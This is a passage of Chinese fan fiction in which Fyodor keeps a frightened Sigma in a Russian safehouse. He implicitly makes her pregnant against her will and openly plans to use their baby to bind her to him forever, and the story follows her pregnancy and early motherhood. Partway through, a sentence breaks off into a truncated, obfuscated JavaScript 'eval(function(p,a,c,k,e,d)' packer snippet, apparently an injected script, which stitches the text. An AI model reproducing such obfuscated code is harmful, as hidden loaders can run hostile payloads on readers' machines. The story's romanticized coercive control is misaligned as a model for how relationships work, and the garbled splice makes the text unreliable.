看她终于整理完一份文件时,会悄悄舒一口气,眼底掠过一丝不易察觉的轻松。 可这轻松很快就被他的目光打散,西格玛察觉到他的注视,立刻挺直脊背,重新恢复了那副小心翼翼的模样。 午后,西格玛捧着整理好的情报汇总向他汇报。 她立在房间中央,双手交握在身前,声音带着刻意压制的颤抖,每一个字都斟酌再三,生怕触碰到什么禁忌。 她始终垂着眼,不敢与他对视,眼睫簌簌发抖,像受惊的蝶翼。 费奥多尔耐心地听着,没有打断,也没有苛责,甚至在她卡顿的时候,还轻轻“嗯”了一声,示意她继续。 可他的这份宽容,没能减轻半分她的恐惧。 西格玛汇报完毕时,额角已沁出细密的冷汗,连退出去的脚步都带着一丝慌乱。 整个下午,费奥多尔都在观察她。 看她擦拭书架时,踮起脚尖努力够到高处的模样。 看她整理情报时,偶尔咬着笔帽凝神思考的模样。 看她路过窗边时,忍不住抬头望了一眼窗外纷飞的雪,眼底闪过一丝茫然的模样。 他只是看着,只是安静地注视着,没有多余的言语,没有刻意的靠近,甚至没流露出半分算计的神色。 可西格玛的恐惧从未减少。 她总能第一时间察觉到他的目光,然后立刻收敛所有情绪,恢复那副紧绷又顺从的模样。 仿佛他不是与她共处一室的同伴,而是随时会将她碾碎的洪水猛兽。 日暮时分,雪粒子敲打得更密了,风卷着雪沫撞在玻璃窗上,发出细碎的噼啪声。 安全屋的壁炉里燃着柴火,橘红色的火光舔舐着木柴,映得屋内暖融融的,却驱不散空气里那层若有若无的沉默。 果戈里一整天都不在,这是他与西格玛难得的独处时光。 晚餐摆在长长的餐桌上,煎得焦脆的吐司、冒着热气的俄式炖菜错落摆放,而费奥多尔特意将早餐时让西格玛眼睛发亮的曲奇,重新摆到了餐盘一侧。 奶油的甜香混着食物的热气,在冷冽的空气里愈发清晰。 他坐在西格玛对面,指尖依旧摩挲着微凉的红茶杯壁,目光平静地落在她身上。 西格玛刚坐下时,背脊依旧绷得笔直,垂着眼睫不敢与他对视。 可当视线无意间扫过餐盘边的曲奇时,他清晰地看见,她的瞳孔微微收缩了一下,那双总是盛满惊惧的眼睛,又悄悄亮了亮。 像雪地里抬头偶然撞见的星子,微弱却真切。 她没有立刻伸手,而是先拿起吐司,小口咀嚼着,动作依旧克制。 过了片刻,才像是鼓足了勇气,指尖轻轻拈起一块曲奇,指尖因为紧张微微泛白。 她没有像早餐时那样下意识地咬下一大口,而是极其缓慢地、小口小口地吃着,嘴角悄悄抿起一个极淡的弧度。 却又在察觉到他的目光时,立刻收敛了所有情绪,只低着头,专注地对付手里的曲奇,连咀嚼的动作都变得愈发轻柔。 费奥多尔看着她,看着她刻意压抑的欢喜,看着她连吃一块喜欢的点心都带着小心翼翼的模样,微微垂下的眼眸暗了暗。 晚餐在寂静中结束,桌角的曲奇还剩半盘,奶油的甜香依旧弥漫在空气里。 夜色如墨,俄罗斯郊外的安全屋沉在雪后的寂静里。 费奥多尔坐在书桌后,面前的红茶早已凉透,桌角的曲奇还剩半盘。 奶油的甜香漫在冷冽的空气里,却没能冲淡他眉宇间那点不易察觉的苦恼。 他观察了她太久。 观察她每一个细微的表情,每一个下意识的动作,观察她藏在顺从背后的战栗,观察她偶然流露的、属于孩童般的欢喜。 他只是想好好看看她,想知道怎样才能让她不再害怕,可换来的只有她愈发浓重的惊惧。 可西格玛还是怕他。 怕他的目光,怕他的靠近,怕他唇边哪怕一丝极淡的笑意。 费奥多尔轻轻叹了口气,温热的水汽氤氲在杯口,模糊了他眼底的情绪。 他放下茶杯,起身走向西格玛的房间。 真是……让人难过啊。 门轴转动的声响极轻,混着夜风里的雪粒气息,惊醒了床上的人。 窗外,一轮满月悬于墨蓝色的天幕,清辉如流水般漫过窗棂,淌在地板上,织就一片细碎的银网,也悄悄爬上了床沿,勾勒出床榻的轮廓。 西格玛躺在铺着素白床单的床上,背脊绷得笔直,连呼吸都刻意放轻。 她没有回头,却能清晰地感知到那个熟悉又令人胆寒的气息正缓缓靠近。 带着一丝若有若无的红茶香,混着西伯利亚荒原的凛冽寒意,是费奥多尔独有的味道。 她僵硬地蜷缩着,眼睫不受控制地颤抖起来,像受惊的蝶翼,连带着盖在身上的薄被都泛起细微的褶皱。 费奥多尔走到床前,动作从容得仿佛置身于自己的领地,没有丝毫犹豫或局促。 月光落在他身上,为他墨黑的发丝镀上一层柔光,勾勒出他清俊的侧脸轮廓,高挺的鼻梁投下一小片阴影,薄唇抿成一条平和的弧线。 平日里那双深不见底的眼眸,在月光的映照下竟显得格外澄澈,褪去了几分恶魔的戾气,反倒透出一种近乎圣洁的温柔,宛如坠落人间的天使,无害得令人心惊。 西格玛下意识地抬眼,目光撞上他眼底的平静,那平静之下却仿佛暗藏着无底的漩涡,让她瞬间如坠冰窖。 她猛地垂下眼睫,长长的睫毛在眼睑下方投下细密的阴影,不敢再与他对视。 只觉得那月光下的“天使”假象,比他直白展露的恶意更让人窒息。 床垫微微下陷,费奥多尔从容地躺了下来。 下一秒,一双微凉的手臂从身后环了过来,将西格玛紧紧搂入怀中。 力道不算重,却带着一种不容挣脱的掌控感,将她完完全全地纳入他的怀抱,贴合着他的胸膛。 她能清晰地听见他平稳的心跳声,隔着薄薄的衣料传来,沉闷而有力,与她自己狂乱失控的心跳形成诡异的对比。 费奥多尔什么都没做。 他没有说一句多余的话,没有做任何越界的举动,只是这样紧紧地搂着她,下巴抵在她的发顶,呼吸拂过她的耳廓,带着微凉的温度。 就像他来到这里,只是为了这个拥抱。 费奥多尔的怀抱很宽,很安稳,仿佛能隔绝世间所有的风雨,可西格玛却觉得自己被投入了最恐怖的牢笼,每一寸肌肤都在叫嚣着抗拒。 他来到这里,似乎只为了这个拥抱,这个纯粹得不合时宜的拥抱,却比任何利器、任何威胁都更让她恐惧。 那种恐惧并非源于疼痛或死亡的威胁,而是源于一种彻底的无力感。 她看不懂他,猜不透他的意图。 这个将人心玩弄于股掌之上的恶魔,此刻却给予她如此亲密的姿态,这份突如其来的“温柔”,比他的算计和伤害更让她无所适从。 西格玛的身体控制不住地微微颤抖,眼睫抖得愈发厉害,月光落在她颤抖的睫毛上,折射出细碎的、带着水光的光点,像是随时会落下泪来,却又被她死死忍住。 费奥多尔似乎察觉到了她的颤抖,也或许是看见了她眼底的惊惧。 他的下巴轻轻蹭了蹭她的发顶,一声极轻的叹息从他唇边溢出,带着几分说不清道不明的意味,似悲悯,又似嘲讽,消散在寂静的空气里。 “爱都是伴随着痛的。” 他的声音低沉而轻柔,像月光一样温柔,却字字句句都像冰锥,扎进西格玛的心底。 爱?西格玛茫然地想。 什么是爱? 她的人生始于荒芜的沙漠,辗转于各方势力的博弈,见过的只有背叛、利用与谎言,从未有人教过她什么是爱,也从未有人给予过她真正的温暖。 她不懂爱,也从未奢望过爱。 但西格玛无比清楚地知道,自己害怕眼前这个男人。 害怕他的温柔,害怕他的算计,害怕他眼底深藏的未知。 更害怕自己会在这份诡异的亲密中,迷失方向,甚至动摇对他的戒备。 西格玛依旧垂着眼睫,不敢抬头,只觉得怀中人的体温冷得刺骨,连带着那温柔的月光,都仿佛变成了冻结人心的寒冰。 费奥多尔没有再说话,仿佛刚才那句低语只是随口的感慨。 他只是收紧了手臂,将她抱得更紧了些,然后低下头,在她光洁的额头上印下一个轻柔的吻。 那吻微凉,像雪花落在皮肤上,转瞬即逝,却在西格玛的心底掀起了惊涛骇浪,让她的颤抖愈发剧烈,连呼吸都带上了难以抑制的哽咽。 月光依旧流淌,屋内一片寂静,只有两人交织的呼吸声,和西格玛那颗在恐惧与茫然中剧烈跳动的心脏。 这个恶魔般的男人,在月光下化作伪善的天使,用一个纯粹的拥抱,给予了她最极致的恐怖。 —————— 雪依旧下着,屋内的壁炉带来温暖,却驱散不了西格玛心中的凉意。 西格玛呼出一口心中的寒气,走进费奥多尔的书房。 她知道,果戈里也在里面。 一想到要和他们两人共处一室,西格玛就控制不住心中的恐惧。 心脏就像是被一只无形的手狠狠攥紧,连呼吸都带着滞涩的疼。 寒意从脚底的地板丝丝缕缕地升起,顺着脊椎一路窜上后颈,让她浑身的汗毛都忍不住绷紧,指尖控制不住地发颤。 被两人肆意玩弄于股掌之间,如今连夜晚安眠的片刻时光,都不再属于西格玛。 和他们待在一起的每一分、每一秒,都像有细密的针,扎进西格玛的骨髓里,只剩下无边无际的痛苦。 别再折磨我了。 她在心底一遍遍地哀求,那声音嘶哑破碎,却传不到任何人的耳中。 别再折磨我了! 这句话几乎要冲破喉咙的刹那,西格玛抱着怀里沉甸甸的文件,目光落在不远处低声交谈的费奥多尔与果戈里身上。 他们的话语像隔着一层厚重的雾,模糊不清。 眼前的一切骤然涣散,物品、光线、人影,全都碎成了纷扬飘洒的雪粒状,混沌一片,辨不出轮廓。 ……怎么回事? 西格玛在心底喃喃自语。 紧接着,天旋地转的眩晕感猛地袭来,桌椅的轮廓彻底消融,化作一块块歪斜晃动的色块,连壁炉里跳动的火光都拧成了扭曲的红橙色光斑。 啊…… 西格玛张了张嘴,喉咙里却发不出半点声音,眼前的模糊愈发浓重,像是被蒙上了一层厚重的纱。 指尖的文件险些脱手,一股刺骨的寒意顺着四肢百骸蔓延开来,连骨髓里都透着冷意。 眼前的世界彻底扭曲。 西格玛再也撑不住,不受控制地跪倒在地,怀里的文件散落一地,发出沉闷的声响。 就在意识彻底沉下去的前一秒,她看见那片雪粒般的光影开始疯狂旋转,连同颠倒的桌椅、扭曲的火光,全都卷成一个巨大的漩涡。 身体再也支撑不住,重重向前栽倒,那漩涡裹挟着她的最后一丝意识,直直往无尽的黑暗里坠去。 不知过了多久,混沌的意识才从黑暗中挣脱出来,像一叶在惊涛里浮沉的扁舟,缓缓靠岸。 西格玛的睫毛轻颤了几下,眼皮重得像是坠了铅,她费力地睁开眼,脑海里还盘旋着昏迷前的画面。 碎裂成雪粒的人影、扭曲晃动的色块、疯狂旋转的漩涡。 为什么会看到那样的景象?为什么会突然昏迷?自己到底是怎么了? 无数疑问在心头翻涌,搅得她一阵头晕目眩。 再次醒来时,西格玛正躺在柔软的床上,熟悉的茶香与硝烟味交织着,萦绕在鼻尖。 床的两侧,赫然坐着费奥多尔与果戈里。 果戈里脸上没了往日的戏谑与疯癫,那总是燃着火焰的银色眼眸里,竟盛着她从未见过的复杂神色,像是困惑,又像是一丝说不清道不明的烦躁。 而费奥多尔则依旧是那副温和的模样,他见西格玛睁眼,唇边勾起一抹浅淡的笑意,缓缓靠近。 那笑意落在西格玛眼里,却让她的心跳漏了半拍,连呼吸都跟着凝滞。 他俯身,指尖轻轻拂过她的脸颊,语气温柔得近乎残忍:“西格玛,你怀孕了。” 轻飘飘的一句话,却像惊雷般在西格玛的脑海里炸开。 费奥多尔早已根据时间推算得一清二楚,他看着西格玛茫然的眼眸,补充道,语气里带着不容置疑的笃定:“这个孩子,是我的。” 他垂眸望着她尚且平坦的小腹,心底掠过一丝冷冽的算计。 西格玛不同于世人,她是由书创造出的、不染尘埃的纯洁存在。 他太清楚,单凭温柔的枷锁与“家人”的名义,终究困不住这只渴望自由的小鸟。 既然如此,那就换一种更牢固的牵绊。 血脉相连,脐带连接,在腹中用血肉孕育的九个月,是世间最难以割裂的羁绊。 有了这个孩子,西格玛便再也离不开他了。 西格玛怔怔地望着天花板,意识一片恍惚。 她有孩子了吗? 她甚至不明白这一切是如何发生的,只知道有一个小小的生命,正在自己的腹中悄然孕育。 孩子……那是与她血脉相连的家人。 难以言喻的情绪涌上心头,像温热的潮水,漫过了长久以来的恐惧与绝望。 那情绪里有茫然,有无措,却还夹杂着一丝连她自己都未曾察觉的、微弱的希冀。 西格玛对世间的常识了解甚少,却在这一刻,无比坚定地想生下这个孩子。 费奥多尔像是也同样期待着这个孩子。 那双总是藏着算计与冷意的紫眸,落在她小腹上时,漫过一丝极淡的、近乎温柔的涟漪。 而西格玛的突然昏迷,也有了答案。 孕早期本就脆弱的身子,被连日的精神紧绷与恐惧生生压垮。 费奥多尔对此并未多言,他当然知道西格玛精神紧绷的原因是因为谁。 只是轻描淡写地吩咐下去,让她安心在房里静养,不必再理会那些繁杂的情报琐事。 自那以后,费奥多尔时常会坐在床边,以腹中未出世的孩子为话题,同西格玛闲聊。 他会拿出早已准备好的、小巧玲珑的衣物,料子柔软得不像话,在暖黄的灯光下泛着柔和的光泽。 看着西格玛望着那些小衣服时,眼底不自觉流露出的、从未有过的柔软神情,费奥多尔的唇角便会噙着一抹志在必得的笑意。 果戈里依旧会像从前那般,毫无征兆地突然出现,斗篷上带着室外凛冽的雪气。 他会一言不发地凑过来,将头枕在西格玛的腹部,侧耳倾听,银霜色的眼眸里满是孩童般的好奇,又带着几分悻悻的恼火:“里面,真的孕育着一个生命吗?” 一个和自己毫无关系的生命。 竟在西格玛的腹中,安稳地栖身。 真是令人火大啊。 果戈里烦躁地啧了一声,指尖却不受控制地抬起,小心翼翼地落在西格玛尚且平坦的腹部,像是在触碰一件易碎的珍宝。 语气里带着几分连他自己都没察觉的别扭期待,尾音里还缠着一丝不甘的喑哑:“不过……是西格玛的孩子,倒也值得期待。” 西格玛愣了愣,垂着眼帘,指尖蜷缩了一下,终究是没做任何回复。 值得期待吗? 什么样的生命,才算得上是值得期待的呢? 西格玛不知道答案。 可她的心底,却悄然滋生出一点微弱的盼头,盼着这个小生命能平安降生。 她觉得自己很卑劣,连自己的人生都被牢牢攥在别人手里,连呼吸都带着窒息的痛感,却偏偏想把一个新生命带到这个满是枷锁的世界上来。 可孩子的存在,确实像一缕极淡的光,让她对暗无天日的未来,生出了些许微不足道的希望。 日子在无声的禁锢里一天天滑过,她的腹部也一点一点地隆起,渐渐显露出柔和的弧度。 费奥多尔从不会亲自端送补品,却总能精准掌控她的饮食节律。 清晨的燕窝会准时放在床头,午后的牛乳温度刚好入口,就连药膳的配比都经过细致考量,既为腹中胎儿补充养分,也悄无声息地调养着她的身体。 让西格玛在这方寸天地里,始终保持着一种温顺的健康。 偶尔,他会坐在床沿,指尖夹着一本封面烫金的育儿书,语调温柔得近乎虚假,漫不经心地同她讲些婴儿啼哭的频率、襁褓的包裹技巧。 那些无关紧要的话语像一层薄纱,轻轻覆盖在两人之间冰冷的隔阂上,仿佛他们真是一对期待新生命的寻常伴侣。 果戈里依旧会突然出现,像一阵无厘头的风。 有时他会蹲在床边,单手支着下巴,直勾勾地盯着她的肚子发呆,眼底翻涌着复杂难辨的情绪,半天也不说一句话。 西格玛只是比往常更加的沉默。 她静静地抚摸着腹部,一下、两下,将所有的注意力,都放在了腹中的孩子身上。 直到某天夜里,窗外的雪还在簌簌落着,房间里静得只能听见壁炉里木柴燃烧的噼啪声。 西格玛正蜷缩在床上,将自己裹在厚重的被褥里,听着费奥多尔翻书的轻响。 他翻页的动作总是很轻,仿佛怕惊扰了什么,却又带着一种不容置喙的存在感。 西格玛的意识在半梦半醒间沉浮,连日来的压抑与不安像藤蔓一样缠绕着神经,哪怕在似睡非睡中,也绷着一丝隐隐的戒备。 忽然,腹中有什么东西轻轻动了一下。 那一下轻得像羽毛拂过水面,却像一道电流,瞬间窜过四肢百骸。 西格玛的呼吸猛地顿住,整个人僵在了原地。 她甚至怀疑是自己的错觉,是深夜里过于寂静生出的幻觉。 可不过几秒,又是一下极轻的踢动,隔着薄薄的衣料,清晰地传达到指尖。 是真实的、带着温度的动静,是另一个生命在向她发出信号。 西格玛僵了半晌,才缓缓抬手,掌心带着微凉的温度,轻轻覆在自己隆起的腹部上。 那里是柔软的,是温热的,是与她血脉相连的地方。 温热的液体毫无预兆地从眼角滑落,砸在被褥上,晕开一小片深色的水渍。 西格玛捂着肚子,肩膀不受控制地微微颤抖,她不敢让费奥多尔听见,压抑的呜咽声被死死锁在喉咙里,化作无声的哭泣。 泪水越涌越多,浸湿了鬓角的发丝,却不是因为恐惧,也不是因为绝望。 这一刻,西格玛才真切地体会到,自己的身体里,真的孕育着一个鲜活的生命。 一个会踢腿、会呼吸的,属于她的小生命。 长久以来灰暗无光的生活里,好像终于透进了一点模糊的亮光,微弱,却足以照亮她心底那片荒芜的角落。 第二天清晨,费奥多尔像往常一样,坐在床边翻着书,指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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西格玛会将重要的内容反复勾画,指尖偶尔停留在“亲子互动”的章节上,眼底闪过一丝茫然,随即又被坚定取代。 她不知道自己能不能做好,却执拗地想要学着去做。 与此同时,她腹中的孩子也越来越大,原本平坦的小腹高高隆起,像揣着一颗温热的小太阳。 胎动越来越频繁,有时是轻柔的翻身,有时是有力的踢蹬,每一次动静都让西格玛的心尖轻轻发颤。 她会下意识地将掌心贴在腹部,感受着那清晰的生命搏动,唇角不自觉地牵起一抹极淡的笑意。 费奥多尔偶尔会站在不远处看着她,紫罗兰色的眼眸里盛着深不见底的笑意,像是在欣赏一件完美的藏品。 他从不打扰她的学习,却总能在她蹙眉沉思时,让人端来温热的牛奶,时机拿捏得恰到好处,既不会显得刻意,又能让她时刻感受到他的存在感。 在他看来,西格玛这份小心翼翼的期待,这份为了孩子而流露的柔软,正是他布下的棋局里,最精妙的一步。 血脉的牵绊远比任何枷锁都要牢固,只要这个孩子存在,她就永远不会挣脱他的掌控。 西格玛期待的,是他们的孩子。 “他们”。 费奥多尔在心中重复着这个词,轻轻的笑了。 他垂眸看向西格玛隆起的腹部,紫罗兰色的眼眸里带着笑意,也带着近乎残忍的温柔。 有时,费奥多尔也会像所有期待孩子降生的父亲一样,俯身在西格玛隆起的腹部,指尖带着微凉的温度,轻轻覆上那片温热的弧度。 他的动作极轻,带着一种近乎仪式感的郑重,掌心贴着布料下起伏的轮廓,静静等候着那属于另一个生命的回应。 忽然,一丝微弱却清晰的触感自掌心传来,是孩子不安分的踢蹬,隔着皮肉与衣物,依旧鲜活得令人心惊。 费奥多尔的动作顿住了,紫罗兰色的眼眸里掠过一丝极淡的涟漪。 快得让人无从捕捉,随即又沉淀为深不见底的平静。 从那以后,每晚临睡前,他都会抽出片刻时光,为腹中的孩子念些启蒙书籍作为胎教。 他坐在西格玛身侧的床边,姿态优雅得如同在参加一场盛宴,声音低沉悦耳,语句缓慢而清晰,像是在吟诵一首古老的诗,却带着一种近乎蛊惑的魔力。 指尖始终没有离开她的腹部,随着语调的起伏轻轻摩挲,力道温柔得仿佛在触碰易碎的珍宝。 西格玛倚在床头,听着他温润的嗓音裹挟着文字流淌而来,那声音像极了一首低吟的催眠曲,带着一种近乎蛊惑的魔力。 连日来盘踞在心头的紧张与紧绷,在这声音里一寸寸消融,眼皮愈发沉重。 她的眼睫轻轻颤动,哪怕意识里还残存一丝戒备,也抵不过漫溢的倦意。 听着听着,颤动的眼睫最终落下。 西格玛不受控制地坠入梦乡,呼吸均匀而绵长。 这时,费奥多尔会起身取来柔软的毛毯,动作轻得没有一丝声响,小心翼翼地盖在她身上,将她露在外面的肩头与手臂妥帖裹住。 他没有立刻离开,而是再次俯身,隔着薄薄的毛毯,重新将掌心贴在她隆起的腹部。 这一次,孩子像是感应到了什么,又一次轻轻踢动起来,力道比先前更清晰些,像是在回应这份隔着布料的触碰。 费奥多尔的唇角勾起一抹极淡的弧度,那笑意里藏着难以言喻的复杂,有对这鲜活生命的审视,也有对既定棋局的笃定。 他的目光缓缓移到西格玛熟睡的脸庞上。 长长的睫毛在眼睑下投下浅浅的阴影,平日里微微簇起的眉头平了下去,褪去了所有警惕与倔强,全然舒展开来。 她的面容在此刻显得格外柔美,唇角带着一丝若有若无的弧度,像沉眠的睡美人,卸下了所有防备,露出了从未有过的温顺柔软。 费奥多尔伸出指尖,极轻地拂过她光滑的脸颊,触感细腻温热,带着生命最本真的温度。 毫无防备的西格玛,此刻正沉在梦境里,而她的腹中,正孕育着他们之间最真切的牵绊,那个将她永远缚在自己身边的、最完美的枷锁。 他的指尖在她的脸颊上稍作停留,紫罗兰色的眼眸里翻涌着残忍的温柔。 我可爱的西格玛,你属于我。 那些蜜糖般假象的温存,终究不过是虚幻,稍纵即逝后,只会留下苦涩的回味。 没有波澜,没有意外,日子在这样平静又压抑的氛围里悄然滑过。 窗外的雪融了又落,檐角的冰棱结了又化,屋里的灯光日复一日地亮了又熄,映着西格玛坐在窗边研读育儿书籍的身影。 她指尖的书页越翻越薄,边角被摩挲得微微发卷,那些关于喂养、护理的字句,早已被她反复勾画得密密麻麻。 腹中的胎动也越来越有力,有时是一阵轻柔的蠕动,有时是一记清晰的蹬踹,她甚至能隔着薄薄的衣料,精准地摸到孩子小小的脚掌,感受到那鲜活的力道。 西格玛以为这样的时光还会持续许久,以为自己还有足够的时间,去把那些生涩的知识烂熟于心,去慢慢学着做一个合格的母亲。 可分娩的那天来得猝不及防。 许是因为孕期里积压的恐惧与忧虑日夜啃噬着心神,西格玛终究是没能熬到足月。 孩子在她腹中只呆了七个月,就毫无预兆地发动了早产。 剧烈的阵痛一波波袭来,像要将她的身体撕裂。 西格玛攥紧了床单,指节泛白,额头上布满冷汗,意识在清醒与模糊间反复拉扯。 两个小时的煎熬过后,在助产士的引导下,一声微弱却清亮的啼哭,终于划破了房间的沉寂。 她成功生下了一个男孩。 小小的婴儿蜷缩在襁褓里,因为早产显得有些瘦小,他有着柔软的黑色胎发,还有一双和费奥多尔如出一辙的、紫罗兰色的眼眸。 西格玛怀抱着这个温热的小生命,生产后的虚弱让她脸色苍白得近乎透明,连抬手的力气都所剩无几。 她的目光却格外温柔,粉水晶般的眼眸像是盛满了细碎的星光,试探性地伸出指尖,轻轻抚摸着婴儿细腻的脸颊。 那触感软得像云朵,让西格玛的心尖跟着微微发颤。 “孩子的名字……取了吗?”她的声音轻得像一缕烟,带着几分小心翼翼的迟疑。 西格玛一直觉得,自己没有取名的权利。 在这个囚笼般的地方,她连自己的命运都无法掌控,又有什么资格,为这个孩子定下一生的名字? 所以在孩子诞生前,西格玛从来没有问过费奥多尔孩子的姓名,也没有和他商讨过。 费奥多尔缓步走近,目光落在她怀中的婴儿身上,唇角噙着一抹浅淡的、近乎温柔的笑意,声音低沉而悦耳:“米哈伊尔·费奥多罗维奇·陀思妥耶夫斯基。我们的米莎。” 这个名字从他唇间吐出时,带着一种奇异的韵律,像是古老的咒语,又像是神圣的箴言。 米哈伊尔,在希伯来语里,是“谁像神一样”。 费奥多尔的视线微微下移,落在婴儿皱巴巴的小脸上,那尚未长开的眉眼间,似乎已隐隐透出几分与他相似的轮廓。 他嘴角的笑意深了些,眼底却依旧是一片深不见底的寒潭,没有寻常父亲初为人父的狂喜,只有一种棋局落子般的笃定,和一丝近乎冷酷的满足。 怀中的婴儿像是感受到了什么,小小的脑袋往西格玛的胸口蹭了蹭,发出细弱的哼唧声。 孕期里,西格玛看了不少婴儿护理的书籍,她立刻便明白,这是孩子饿了。 她没有丝毫犹豫,掀开衣服,将婴儿抱得更近些。 她没想过要让费奥多尔和果戈里避嫌,或许是麻木了,或许是根本不在意。 在他们面前,她早就没有任何尊严可言。 而那两人,也果然毫不避讳,一左一右地站在床边,目光直勾勾地落在她和孩子身上。 哺育孩子的她,眉眼间带着一种近乎圣洁的柔光,像教堂壁画上的圣母玛利亚。 费奥多尔看着,心底漫过一丝近乎满足的喟叹。 他果然没选错,这样的牵绊,才是最牢不可破的。 果戈里则靠在墙边,黑白斗篷的衣角垂落,遮住了他的鞋尖。 他看着那个小小的婴儿,正努力地吮吸着母乳,小小的胸脯微微起伏,脆弱得仿佛一碰就会碎掉。 果戈里忽然想起了自己初见西格玛时的模样,心底莫名地窜起一丝烦躁,又夹杂着些许说不清道不明的情绪。 真是脆弱的生命,他想。 和她一样,都是需要庇护的、幼小的稚鸟。 —————— 西格玛坐在宽大的办公桌前处理文件,笔尖划过纸张的沙沙声,是房间里唯一的动静。 身侧的婴儿床就摆在触手可及的地方,米哈伊尔正蜷缩在柔软的被褥里,呼吸均匀,睡得安稳。 写完最后一行字,西格玛停下笔,指尖微微泛白。 她侧过头,目光落在孩子恬静的睡颜上。 小家伙早已褪去刚出生时红彤彤的皱缩模样,皮肤变得细腻白皙,眉眼间的轮廓愈发清晰,和他的父亲越发的相似。 看着那双紧闭的、纤长的睫毛,西格玛的心尖难得地软了一瞬。 可当视线落在孩子眼睑下那片淡淡的阴影上。 她太清楚,那底下藏着一双和费奥多尔一模一样的紫罗兰色眼眸,心底的柔软便瞬间被刺骨的寒意取代。 只是瞥见那相似的眉眼,西格玛都会下意识地一愣。 对费奥多尔的恐惧,从来都没有因为孩子的降生而减少分毫,反而像一株盘根错节的藤蔓,在心底扎得更深了。 果戈里依旧像从前那般,会毫无征兆地出现。 他来时总会带着一身室外的雪气,斗篷翻飞间,便凑到婴儿床边,用指尖轻轻戳了戳米哈伊尔的脸颊,语气里满是戏谑的笑意。 小家伙似乎格外喜欢他,每次被逗弄,都会咂咂小嘴,甚至会伸出小手去抓他的斗篷。 每当果戈里靠近婴儿床,西格玛的心跳都会漏跳半拍,攥着钢笔的手不自觉地收紧。 她怕果戈里的疯癫,怕他一时兴起,会对这个脆弱的小生命做出什么不可挽回的事。 可随即,她又自嘲地垂下眼帘。 她连自己的命运都掌控不了,就算果戈里真的想做什么,她又能阻止得了吗? 费奥多尔对这个孩子,显然是满意的。 那种满意,就像收藏家得到了一件精心打磨的玩具,眼底盛着的是志在必得的愉悦,而非寻常父亲的温情。 他时常会走到婴儿床边,小心翼翼地抱起米哈伊尔,动作轻柔得不像话。 他会抱着孩子,同西格玛聊着关于米哈伊尔的琐事,比如小家伙今天多喝了半瓶奶,又比如他昨夜哭闹了多久。 西格玛总是平静地应答着,语调平稳得没有一丝波澜。 日复一日的相处,让她学会了将所有的恐惧都藏在心底,哪怕胸腔里的心脏在疯狂战栗,面上也能维持着死水般的平静。 她看着费奥多尔抱着米哈伊尔的模样。 父子俩有着同样的黑色发丝,同样的紫罗兰眼眸,站在一起时,像一幅精致却冰冷的画。 看着这幅画面,西格玛的心底翻涌的不是温情,而是更深的恐惧。 作为母亲,她害怕孩子的父亲。 又因为孩子的父亲,连带着对自己的孩子,都生出了一丝难以言说的畏惧。 西格玛垂下眼,看着自己颤抖的指尖,心底一片荒芜。 她真是最糟糕的母亲。 她不配做米哈伊尔的母亲。 这样的念头,一遍又一遍地在脑海里盘旋。 西格玛在心底,一遍又一遍地对着那个熟睡的小□□歉。 对不起。 连我自己的人生,都不受自己掌控。 把你带到这样的世界,是我的罪。 婴儿床里忽然传来一声细细的哼唧,轻柔得像羽毛拂过心尖。 是米哈伊尔醒了。 西格玛握着钢笔的手一顿,笔尖悬在纸页上方,墨滴险些落下来。 她几乎是立刻回过头,目光精准地落在婴儿床里那个蠕动的小小身影上。 小家伙皱着眉,粉雕玉琢的脸蛋蹭着柔软的被褥,嘴里发出断断续续的哼唧声,小胳膊小腿还不安分地蹬着。 西格玛太熟悉这个模样了,是米哈伊尔饿了。 她动作极轻地放下笔,随后缓缓起身,脚步放得又轻又缓,一步步挪到婴儿床前。 西格玛弯下腰,指尖先轻轻拂开盖在米哈伊尔脸颊旁的被褥,随即小心翼翼地将他从柔软的被褥里抱起来。 手掌稳稳托住他纤细的脊背和小小的脑袋,另一只手兜住他蜷曲的腿弯,动作轻柔得像是在捧着易碎的琉璃。 她将这团温热的小身子轻轻贴在自己胸口的位置,那里是心脏跳动的地方,温热而安稳,能让小家伙很快安静下来。 西格玛解开衬衫的扣子,将孩子抱得更近些。 哺乳的时刻,是西格玛一天里唯一能忘记一切的时光。 费奥多尔的温柔算计,果戈里的肆意纠缠,那些令人窒息的禁锢与恐惧,全都在这一刻被隔绝在外。 她不再是任人摆布的玩偶,不再是被争夺的筹码。 她只是一个母亲,一个喂养自己孩子的母亲。 西格玛垂眸看着怀中的小家伙,目光柔得能滴出水来。 她可爱的孩子。 米哈伊尔正攥着小小的拳头,埋首在她的胸口,用力地吮吸着,粉嫩的脸颊微微鼓起,小小的鼻翼随着呼吸轻轻翕动。 那双和费奥多尔如出一辙的紫罗兰色眼眸,此刻正满足地闭着,长长的睫毛像两把小扇子,在眼睑下投出浅浅的阴影。 西格玛的指尖轻轻拂过孩子柔软的胎发,心底忽然漫过一阵滚烫的暖流。 她能清晰地感受到,有温热的生命力在自己的血脉里流淌,有细密的牵绊在母子之间悄然生长。 那是一种无法割裂的连接,柔软得像棉花,温暖得像冬日里难得的阳光。 这就是家人吗? 母亲和孩子,这样纯粹而柔软的连接。 西格玛的唇角,不自觉地勾起一抹极淡的、近乎透明的笑意。 那笑意浅得像窗外飘飞的雪,稍纵即逝,却又真实地在她苍白的脸上漾开,柔和了她眼底常久不散的惶恐与麻木。 窗外的雪还在落着,簌簌地敲打着窗棂,将世界晕染成一片安静的纯白。 房间里只有米哈伊尔均匀的呼吸声,还有他吮吸时细微的响动,温热的奶香漫在空气里,暖得让人几乎要落下泪来。 此刻的宁静,就像是她偷来的一样。 偷来的片刻喘息,偷来的片刻温情,偷来的、属于母亲与孩子的,无人惊扰的时光。 或许下一秒,费奥多尔的脚步声就会在门外响起,或许果戈里又会带着一身雪气突兀地闯入,将这短暂的平和搅得粉碎。 可它终究在此刻静静流淌着,淌过她早已千疮百孔的心,淌过那些无边无际的恐惧与绝望,留下了一丝微不足道的、名为“慰藉”的痕迹。 啊,这就够了。 西格玛望着自己怀中的孩子。 她不敢奢求更多。 5. 微弱 窗外的雪还在落,是那种细密而绵长的雪,从铅灰色的天幕间簌簌飘落,无声地覆盖着俄罗斯广袤的土地。 安全屋的暖气开得很足,暖融融的空气裹着淡淡的奶香,漫在房间的每个角落,驱散了窗外的凛冽寒意。 西格玛是被婴儿床里传来的细微响动惊醒的。 不是哭闹,而是极轻的、带着试探的哼唧声,像初生的小猫在蹭着母猫的皮毛,柔软得让人心尖发颤。 